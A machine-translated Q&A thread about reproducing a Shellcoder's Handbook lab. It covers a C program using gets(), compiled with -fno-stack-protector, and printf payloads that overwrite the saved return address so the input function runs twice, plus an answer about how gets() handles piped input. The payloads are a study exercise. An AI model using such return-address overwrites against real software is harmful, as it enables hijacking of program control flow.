2011-10-21 39 views
2

我一直在閱讀Shellcoder's Handbook(2e)並且一直試圖重現第18-23頁上的堆棧溢出實驗。通過堆棧溢出重定向指令指針

我有這樣的代碼

void return_input (void) 
{ 
    char array[30]; 
    gets (array); 
    printf(「%s\n」, array); 
} 
main() 
{ 
    return_input(); 
    return 0; 
} 

編譯:gcc -fno-stack-protector -o overflow overflow.c

爲main函數的彙編代碼轉儲:

0x080483ea <main+0>: push %ebp 
0x080483eb <main+1>: mov %esp,%ebp 
0x080483ed <main+3>: call 0x80483c4 <return_input> 
0x080483f2 <main+8>: mov $0x0,%eax 
0x080483f7 <main+13>: pop %ebp 
0x080483f8 <main+14>: ret 

我們可以與呼叫的地址改寫保存的返回地址到return_input()

$ printf 
"AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDD\xed\x83\x04\x08" | ./overflow 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDí 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDò 

所以這會導致我們的輸入被打印兩次。但是,我沒有提示第二次輸入。第二次撥打電話return_input()是否會導致第二次撥打gets()

+1

您正在提供10As,10Bs,10Cs,6Ds,然後是4個字符,表示您希望堆棧指針走到哪裏?如果沒有將它填充到存儲的返回地址,那麼是不是足夠填充30個字符數組? – Akron

+0

@Akron,是的,你是對的。我發佈了本書的內容,但是當我在自己的機器上完成時,它看起來更像: '$ printf'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD \ x8f \ x05 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00'| ./overflow AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD @ AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD @ 總線錯誤 – Sanjay

回答

0

這可能與get()從stdin讀取的內容有關。

程序的輕微改變的版本:

#include <stdio.h> 

int n = 1; 

void return_input(void) 
{ 
    char array[30]; 
    gets (array); 
    printf("%s\n", array); 
    if (n--) return_input(); 
} 

int main(void) 
{ 
    return_input(); 
    return 0; 
} 

如果我只是運行它,我可以在2個短字符串型(每個然後按Enter鍵),像這樣:

C:\gets.exe 
qwe 
qwe 
123 
123 

在這裏,qwe和123都會在屏幕上重複出現(第一次輸入時,第二次,當他們打印時)。

當我管程序在Windows上投入使用echo命令,我得到以下沒有機會進入第二個字符串,gets()函數以某種方式設法獲得垃圾作爲輸入時,它被稱爲第二次:

C:\echo qwe|gets.exe 
qwe 
№  ☺ 

所以,get()讀取管道輸入的方式有些問題,並且與堆棧溢出無關。